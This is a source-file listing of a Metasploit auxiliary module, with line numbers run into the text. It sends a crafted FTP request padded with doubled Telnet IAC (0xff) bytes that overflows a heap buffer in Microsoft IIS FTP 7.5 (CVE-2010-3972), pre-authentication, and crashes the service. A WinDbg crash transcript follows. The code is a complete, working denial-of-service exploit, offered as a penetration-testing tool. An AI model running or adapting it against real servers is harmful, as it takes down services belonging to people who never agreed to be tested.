Path: blob/master/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb
21367 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Microsoft IIS FTP Server Encoded Response Overflow Trigger',14'Description' => %q{15This module triggers a heap overflow when processing a specially crafted16FTP request containing Telnet IAC (0xff) bytes. When constructing the response,17the Microsoft IIS FTP Service overflows the heap buffer with 0xff bytes.1819This issue can be triggered pre-auth and may in fact be exploitable for20remote code execution.21},22'Author' => [23'Matthew Bergin', # Original discovery/disclosure24'jduck' # Metasploit module25],26'License' => MSF_LICENSE,27'References' => [28[ 'CVE', '2010-3972' ],29[ 'OSVDB', '70167' ],30[ 'BID', '45542' ],31[ 'MSB', 'MS11-004' ],32[ 'EDB', '15803' ],33[ 'URL', 'https://msrc-blog.microsoft.com/2010/12/22/assessing-an-iis-ftp-7-5-unauthenticated-denial-of-service-vulnerability/' ]34],35'DisclosureDate' => '2010-12-21',36'Notes' => {37'Stability' => [CRASH_SERVICE_DOWN],38'SideEffects' => [],39'Reliability' => []40}41)42)4344register_options(45[46Opt::RPORT(21)47]48)49end5051def run52connect5354banner = sock.get_once(-1, 10)55print_status("banner: #{banner.to_s.strip}")5657buf = Rex::Text.pattern_create(1024)5859# the 0xff's must be doubled, the server will un-and-re-double them.60ffs = "\xff" * (0x7e * 2)6162# Continuing after the first exception sometimes leads to this being dereferenced.63buf[0, 3] = [0xdeadbe00].pack('V')[1, 3]6465buf[4, ffs.length] = ffs66buf << "\r\n"6768sock.put(buf)6970disconnect71rescue ::Rex::ConnectionError => e72vprint_error(e.message)73end74end7576=begin7778This transcript is from a vulnerable Win7 machine:7980Processing initial command '$<script.wdbg'810:012> $<script.wdbg820:012> bp ftpsvc+3f360 ".printf \"buf @ 0x%x, len: 0x%x (end: 0x%x)\\n\", eax, ecx, (eax+ecx);g"830:012> bp ftpsvc+3f382 ".printf \"extra len: 0x%x\\n\", edi;g"840:012> bp ftpsvc+3f395 ".printf \"(0x%x+0x%x) 0x%x > (0x%x-0x%x) 0x%x ??\\n\", ecx, edi, ebx, poi(esi+14), poi(esi+8), edx;g"850:012> bp ftpsvc+3f397860:012> bp ftpsvc+3f39f "r @$t0 = ecx;g"870:012> bp ftpsvc+3f3a4 ".printf \"allocated 0x%x bytes at 0x%x (end: 0x%x)\\n\", @$t0, eax, (eax+@$t0);g"880:012> *bp ftpsvc+3f3c0 ".printf \"writing 0xff to 0x%x\\n\", eax;g"890:012> *bp ftpsvc+3f3c6 ".printf \"writing 0x%x to 0x%x\\n\", (edx & 0xff), eax;g"900:012> g91buf @ 0x97f81c, len: 0x1b (end: 0x97f837)92extra len: 0x093buf @ 0x3e4ca0, len: 0x3a4 (end: 0x3e5044)94extra len: 0x7e95(0x3a4+0x7e) 0x422 > (0x422-0x0) 0x422 ??96Breakpoint 3 hit97eax=003e4ca0 ebx=00000422 ecx=000003a4 edx=00000422 esi=00dcfaf8 edi=0000007e98eip=6c63f397 esp=00dcfaac ebp=00dcfac0 iopl=0 nv up ei pl zr na pe nc99cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246100ftpsvc!TELNET_STREAM_CONTEXT::OnSendData+0x49:1016c63f397 8b7df8 mov edi,dword ptr [ebp-8] ss:0023:00dcfab8=000000001020:007> g103(2f8.a40): Access violation - code c0000005 (first chance)104First chance exceptions are reported before any exception handling.105This exception may be expected and handled.106eax=003e50d0 ebx=00000000 ecx=ffffffff edx=003e4898 esi=003e4890 edi=002f0000107eip=778f30d7 esp=00dcf990 ebp=00dcfa70 iopl=0 nv up ei ng nz ac pe cy108cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010297109ntdll!RtlpFreeHeap+0x4d6:110778f30d7 8b19 mov ebx,dword ptr [ecx] ds:0023:ffffffff=????????1110:007> g112(2f8.a40): Access violation - code c0000005 (first chance)113First chance exceptions are reported before any exception handling.114This exception may be expected and handled.115eax=003e4898 ebx=003e4c98 ecx=deadbe27 edx=ffffff41 esi=003e4890 edi=002f0000116eip=778f6030 esp=00dcf950 ebp=00dcf978 iopl=0 nv up ei pl zr na pe nc117cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246118ntdll!RtlpCoalesceFreeBlocks+0x268:119778f6030 8b4904 mov ecx,dword ptr [ecx+4] ds:0023:deadbe2b=????????120121=end122123124